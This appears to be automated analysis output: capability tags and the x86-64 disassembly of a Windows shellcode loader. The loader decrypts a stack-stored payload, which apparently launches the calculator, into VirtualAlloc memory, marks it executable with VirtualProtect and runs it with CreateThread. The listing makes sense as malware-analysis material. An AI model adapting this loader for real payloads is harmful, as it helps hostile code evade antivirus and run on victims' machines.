Function at 0x140001120
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x370]
sub rsp, 0x470
movdqa xmm0, xmmword [0x140017380]
movdqu xmmword [rbp + 0x360], xmm0
mov dword [rbp + 0x380], 0
mov dword [rsp + 0x30], 0x4d378b3a
mov dword [rsp + 0x34], 0xf82a7c63
mov dword [rsp + 0x38], 0xc1639520
mov dword [rsp + 0x3c], 0x4f880e10
mov dword [rsp + 0x40], 0x36533475
mov dword [rsp + 0x44], 0x407fce0
mov dword [rsp + 0x48], 0x4ae3024c
mov dword [rsp + 0x4c], 0xc90ae89f
mov dword [rsp + 0x50], 0x3e69806c
mov dword [rsp + 0x54], 0x224959e6
mov dword [rsp + 0x58], 0x12c5a2d6
mov dword [rsp + 0x5c], 0xe17325c4
mov dword [rsp + 0x60], 0x90e5fed5
mov dword [rsp + 0x64], 0xd80b51f1
mov dword [rsp + 0x68], 0x3939febb
mov dword [rsp + 0x6c], 0x3935835c
mov dword [rsp + 0x70], 0x1ed9acb8
mov dword [rsp + 0x74], 0x92e0cc26
mov dword [rsp + 0x78], 0x6d624f52
mov dword [rsp + 0x7c], 0xc207628f
mov dword [rbp - 0x80], 0xbd31a20d
mov dword [rbp - 0x7c], 0x4bfa8c88
mov dword [rbp - 0x78], 0x9569915e
mov dword [rbp - 0x74], 0x1a773cab
mov dword [rbp - 0x70], 0x76e8831b
mov dword [rbp - 0x6c], 0xd738962b
mov dword [rbp - 0x68], 0x749948bb
mov dword [rbp - 0x64], 0xddfc157a
mov dword [rbp - 0x60], 0x33c9ea0d
mov dword [rbp - 0x5c], 0xc04d338d
mov dword [rbp - 0x58], 0x2e256e4d
mov dword [rbp - 0x54], 0xdf1ed0c
mov dword [rbp - 0x50], 0x938b8cc6
mov dword [rbp - 0x4c], 0xb334699c
mov dword [rbp - 0x48], 0x2e1547d8
mov dword [rbp - 0x44], 0x14d2f4bb
mov dword [rbp - 0x40], 0x7d4ccf2f
mov dword [rbp - 0x3c], 0x925fbc5b
mov dword [rbp - 0x38], 0x14c0bfdc
mov dword [rbp - 0x34], 0xb4c86cbe
mov dword [rbp - 0x30], 0x221d2d38
mov dword [rbp - 0x2c], 0x8d5e82dc
mov dword [rbp - 0x28], 0x50b26c47
mov dword [rbp - 0x24], 0x4a2c33f9
mov dword [rbp - 0x20], 0x3e3eb5a3
mov dword [rbp - 0x1c], 0x644a769a
mov dword [rbp - 0x18], 0x22beb276
mov dword [rbp - 0x14], 0xc775e51a
mov dword [rbp - 0x10], 0x6445f3dd
mov dword [rbp - 0xc], 0x38c9df7d
mov dword [rbp - 8], 0xa61b5779
mov dword [rbp - 4], 0x374c0829
mov dword [rbp], 0xbf36195c
mov dword [rbp + 4], 0x313c07c5
mov dword [rbp + 8], 0x1eb27270
mov dword [rbp + 0xc], 0x631c14f
mov dword [rbp + 0x10], 0xf870af22
mov dword [rbp + 0x14], 0x1b405c1f
mov dword [rbp + 0x18], 0x21a92f2e
mov dword [rbp + 0x1c], 0x1f4a80f1
mov dword [rbp + 0x20], 0x4eccfd0
mov dword [rbp + 0x24], 0x3bee9400
mov dword [rbp + 0x28], 0xf9cac4b2
mov dword [rbp + 0x2c], 0xd1f31b9f
mov dword [rbp + 0x30], 0x8fde6dc9
mov dword [rbp + 0x34], 0xa9929149
mov dword [rbp + 0x38], 0x4f026ab2
mov dword [rbp + 0x3c], 0x502c28cf
mov dword [rbp + 0x40], 0xb98ae1af
mov dword [rbp + 0x44], 0x162babe4
mov dword [rbp + 0x48], 0x1a579f5a
mov dword [rbp + 0x4c], 0xab448ae2
mov dword [rbp + 0x50], 0x296ecae4
mov dword [rbp + 0x54], 0x1e9faca6
mov dword [rbp + 0x58], 0xd33967cf
mov dword [rbp + 0x5c], 0xd1d0bc3c
mov dword [rbp + 0x60], 0xb0253c63
mov dword [rbp + 0x64], 0x19bfe506
mov dword [rbp + 0x68], 0xb43ac8b9
mov dword [rbp + 0x6c], 0x70b50635
mov dword [rbp + 0x70], 0x4216b9
mov dword [rbp + 0x74], 0x31bf0131
mov dword [rbp + 0x78], 0x65d3f707
mov dword [rbp + 0x7c], 0xa43bf2ba
mov dword [rbp + 0x80], 0xb6f6da8c
mov dword [rbp + 0x84], 0x3a424d52
mov dword [rbp + 0x88], 0xfb659932
mov dword [rbp + 0x8c], 0x2493f696
mov dword [rbp + 0x90], 0x56772c79
mov dword [rbp + 0x94], 0x38526094
mov dword [rbp + 0x98], 0x129377b1
mov dword [rbp + 0x9c], 0xc3845a7a
mov dword [rbp + 0xa0], 0x8087c1eb
mov dword [rbp + 0xa4], 0xbd07baa2
mov dword [rbp + 0xa8], 0x61e84b3
mov dword [rbp + 0xac], 0x8f656c92
mov dword [rbp + 0xb0], 0x1028ddc
mov dword [rbp + 0xb4], 0x9ddaf858
mov dword [rbp + 0xb8], 0x2236eb10
mov dword [rbp + 0xbc], 0xae9c30b3
mov dword [rbp + 0xc0], 0xd7319da6
mov dword [rbp + 0xc4], 0x248f0793
mov dword [rbp + 0xc8], 0x6364569c
mov dword [rbp + 0xcc], 0xec86b2ac
mov dword [rbp + 0xd0], 0x320b5a91
mov dword [rbp + 0xd4], 0xbeff43e1
mov dword [rbp + 0xd8], 0x9a23cef6
mov dword [rbp + 0xdc], 0x3f42858b
mov dword [rbp + 0xe0], 0xa57719b5
mov dword [rbp + 0xe4], 0xe01b3339
mov dword [rbp + 0xe8], 0xb2684514
mov dword [rbp + 0xec], 0x3c6fe874
mov dword [rbp + 0xf0], 0xd2c53511
mov dword [rbp + 0xf4], 0x4e6920cd
mov dword [rbp + 0xf8], 0x14746367
mov dword [rbp + 0xfc], 0xd47b9e87
mov dword [rbp + 0x100], 0xbe666c4a
mov dword [rbp + 0x104], 0xd6a9fcbd
mov dword [rbp + 0x108], 0x415a623e
mov dword [rbp + 0x10c], 0x68b5a166
mov dword [rbp + 0x110], 0xf35ee2b0
mov dword [rbp + 0x114], 0xf177b42b
mov dword [rbp + 0x118], 0x18413ae
mov dword [rbp + 0x11c], 0x5e1ccfe7
mov dword [rbp + 0x120], 0xd703fe85
mov dword [rbp + 0x124], 0x6425967c
mov dword [rbp + 0x128], 0x69e25ed3
mov dword [rbp + 0x12c], 0xbd914b4
mov dword [rbp + 0x130], 0xd15abad3
mov dword [rbp + 0x134], 0xbae416d9
mov dword [rbp + 0x138], 0xfced8639
mov dword [rbp + 0x13c], 0x2e9ded40
mov dword [rbp + 0x140], 0x927b9645
mov dword [rbp + 0x144], 0xe3e0f3a4
mov dword [rbp + 0x148], 0x616be861
mov dword [rbp + 0x14c], 0xb4974d73
mov dword [rbp + 0x150], 0x1a4f128b
mov dword [rbp + 0x154], 0x3cca1956
mov dword [rbp + 0x158], 0x520e4522
mov dword [rbp + 0x15c], 0x69b150d2
mov dword [rbp + 0x160], 0xe80a207a
mov dword [rbp + 0x164], 0x1646513
mov dword [rbp + 0x168], 0xdaeca6ce
mov dword [rbp + 0x16c], 0x238c9b13
mov dword [rbp + 0x170], 0x7a92f96e
mov dword [rbp + 0x174], 0xfa413281
mov dword [rbp + 0x178], 0x9bb22942
mov dword [rbp + 0x17c], 0x99ed9c92
mov dword [rbp + 0x180], 0xd2351647
mov dword [rbp + 0x184], 0x6b819647
mov dword [rbp + 0x188], 0x224455ac
mov dword [rbp + 0x18c], 0x237211ac
mov dword [rbp + 0x190], 0x21961d64
mov dword [rbp + 0x194], 0x793ddd31
mov dword [rbp + 0x198], 0x609da281
mov dword [rbp + 0x19c], 0x92b7d4c7
mov dword [rbp + 0x1a0], 0xe0429c82
mov dword [rbp + 0x1a4], 0x747d698a
mov dword [rbp + 0x1a8], 0xa6fededd
mov dword [rbp + 0x1ac], 0x5ea23b8d
mov dword [rbp + 0x1b0], 0xe6b2e94e
mov dword [rbp + 0x1b4], 0x73cdd8ed
mov dword [rbp + 0x1b8], 0xe8bc98a6
mov dword [rbp + 0x1bc], 0x85320733
mov dword [rbp + 0x1c0], 0xd61421ff
mov dword [rbp + 0x1c4], 0x3cbe0b25
mov dword [rbp + 0x1c8], 0xa6d2a90c
mov dword [rbp + 0x1cc], 0xe113a35a
mov dword [rbp + 0x1d0], 0x9f575cd1
mov dword [rbp + 0x1d4], 0xe2b1db66
mov dword [rbp + 0x1d8], 0xf14008d2
mov dword [rbp + 0x1dc], 0x76cf202f
mov dword [rbp + 0x1e0], 0xc35b5570
mov dword [rbp + 0x1e4], 0x7a9a149b
mov dword [rbp + 0x1e8], 0x798b383e
mov dword [rbp + 0x1ec], 0xcb3eb39
mov dword [rbp + 0x1f0], 0x334f3b82
mov dword [rbp + 0x1f4], 0x8ceec5bb
mov dword [rbp + 0x1f8], 0x4dd7adc8
mov dword [rbp + 0x1fc], 0xc74da385
mov dword [rbp + 0x200], 0x5e7508df
mov dword [rbp + 0x204], 0x3a36ecc3
mov dword [rbp + 0x208], 0xd7f5daf2
mov dword [rbp + 0x20c], 0x481c3cb
mov dword [rbp + 0x210], 0x9b517750
mov dword [rbp + 0x214], 0xa19c7f5c
mov dword [rbp + 0x218], 0xc13b9627
mov dword [rbp + 0x21c], 0x5f25f07f
mov dword [rbp + 0x220], 0xbf188678
mov dword [rbp + 0x224], 0x68a5eacd
mov dword [rbp + 0x228], 0x3528733e
mov dword [rbp + 0x22c], 0xa4dde7cc
mov dword [rbp + 0x230], 0x2c53fea8
mov dword [rbp + 0x234], 0x7b328d17
mov dword [rbp + 0x238], 0x2a85420e
mov dword [rbp + 0x23c], 0x42012226
mov dword [rbp + 0x240], 0x8941268b
mov dword [rbp + 0x244], 0xa1195ac6
mov dword [rbp + 0x248], 0xb58f4ffc
mov dword [rbp + 0x24c], 0xbbbafe73
mov dword [rbp + 0x250], 0xe316379c
mov dword [rbp + 0x254], 0x3bf3648d
mov dword [rbp + 0x258], 0x4b2faf34
mov dword [rbp + 0x25c], 0x40092965
mov dword [rbp + 0x260], 0xe831018d
mov dword [rbp + 0x264], 0x3eb02d39
mov dword [rbp + 0x268], 0xd1fa9cf
mov dword [rbp + 0x26c], 0x37736826
mov dword [rbp + 0x270], 0x8b6d47e4
mov dword [rbp + 0x274], 0x8f1c1481
mov dword [rbp + 0x278], 0xe0729a11
mov dword [rbp + 0x27c], 0xf13f76c7
mov dword [rbp + 0x280], 0x7963cbd1
mov dword [rbp + 0x284], 0x6abd957b
mov dword [rbp + 0x288], 0xd228de4f
mov dword [rbp + 0x28c], 0x7674d4d4
mov dword [rbp + 0x290], 0x59601cb0
mov dword [rbp + 0x294], 0xbaed3d66
mov dword [rbp + 0x298], 0x733f021
mov dword [rbp + 0x29c], 0x4e366581
mov dword [rbp + 0x2a0], 0x9076a56c
mov dword [rbp + 0x2a4], 0x686b1543
mov dword [rbp + 0x2a8], 0xcb4718df
mov dword [rbp + 0x2ac], 0xf7778318
mov dword [rbp + 0x2b0], 0x84aa869f
mov dword [rbp + 0x2b4], 0x3c645454
mov dword [rbp + 0x2b8], 0x286f334b
mov dword [rbp + 0x2bc], 0x800f9e64
mov dword [rbp + 0x2c0], 0xdcc02268
mov dword [rbp + 0x2c4], 0x5048e1ef
mov dword [rbp + 0x2c8], 0xc38d762e
mov dword [rbp + 0x2cc], 0x2d40e50c
mov dword [rbp + 0x2d0], 0x38a4ba79
mov dword [rbp + 0x2d4], 0xff58c2ea
mov dword [rbp + 0x2d8], 0x9b02115d
mov dword [rbp + 0x2dc], 0x8d998f49
mov dword [rbp + 0x2e0], 0xfb0bd176
mov dword [rbp + 0x2e4], 0xc676d541
mov dword [rbp + 0x2e8], 0x967c6ffe
mov dword [rbp + 0x2ec], 0xce20ef
xor ecx, ecx
mov dword [rbp + 0x2f0], 0x316a61c6
mov edx, 0x430
mov dword [rbp + 0x2f4], 0x35283a48
mov r8d, 0x3000
mov dword [rbp + 0x2f8], 0xb06793fa
mov dword [rbp + 0x2fc], 0x5c0cb986
lea r9d, [rcx + 4]
mov dword [rbp + 0x300], 0xd1c1f7d
mov dword [rbp + 0x304], 0x2d5cd4ae
mov dword [rbp + 0x308], 0xf72ede37
mov dword [rbp + 0x30c], 0x55dd6626
mov dword [rbp + 0x310], 0x6d6da7e8
mov dword [rbp + 0x314], 0x29c4430b
mov dword [rbp + 0x318], 0xbf90ba79
mov dword [rbp + 0x31c], 0x3ead4544
mov dword [rbp + 0x320], 0xd1ee7f04
mov dword [rbp + 0x324], 0x40616cc3
mov dword [rbp + 0x328], 0x755d06af
mov dword [rbp + 0x32c], 0xb887550
mov dword [rbp + 0x330], 0x4c35728f
mov dword [rbp + 0x334], 0xb181ea8c
mov dword [rbp + 0x338], 0x7bd47d7b
mov dword [rbp + 0x33c], 0x4444a857
mov dword [rbp + 0x340], 0x9e7b9d99
mov dword [rbp + 0x344], 0xb261817c
mov dword [rbp + 0x348], 0x8c01f102
mov dword [rbp + 0x34c], 0x750fd410
mov dword [rbp + 0x350], 0x652cee1e
mov dword [rbp + 0x354], 0xcd28f527
mov dword [rbp + 0x358], 0xcd5c56dc
mov dword [rbp + 0x35c], 0xb1704505
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r8, [rsp + 0x30]
mov rdi, rax
lea rdx, str.calc_payload_addr
lea rcx, [0x140022018]
call fcn.140001c00
mov r8, rdi
lea rdx, str.exec_mem_addr
lea rcx, str.__20s_:_0x__016p_n
call fcn.140001c00
lea rcx, str._nHit_me_1st__n
call fcn.140001c00
call fcn.140003914
mov r9d, 0x10
lea r8, [rbp + 0x360]
mov edx, 0x430
lea rcx, [rsp + 0x30]
call section..text
mov r8d, 0x430
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140002710
lea r9, [rbp + 0x380]
mov edx, 0x430
mov r8d, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str._nHit_me_2nd__n
mov ebx, eax
call fcn.140001c00
call fcn.140003914
test ebx, ebx
je 0x140001bcb
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r11, [rsp + 0x470]
xor eax, eax
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret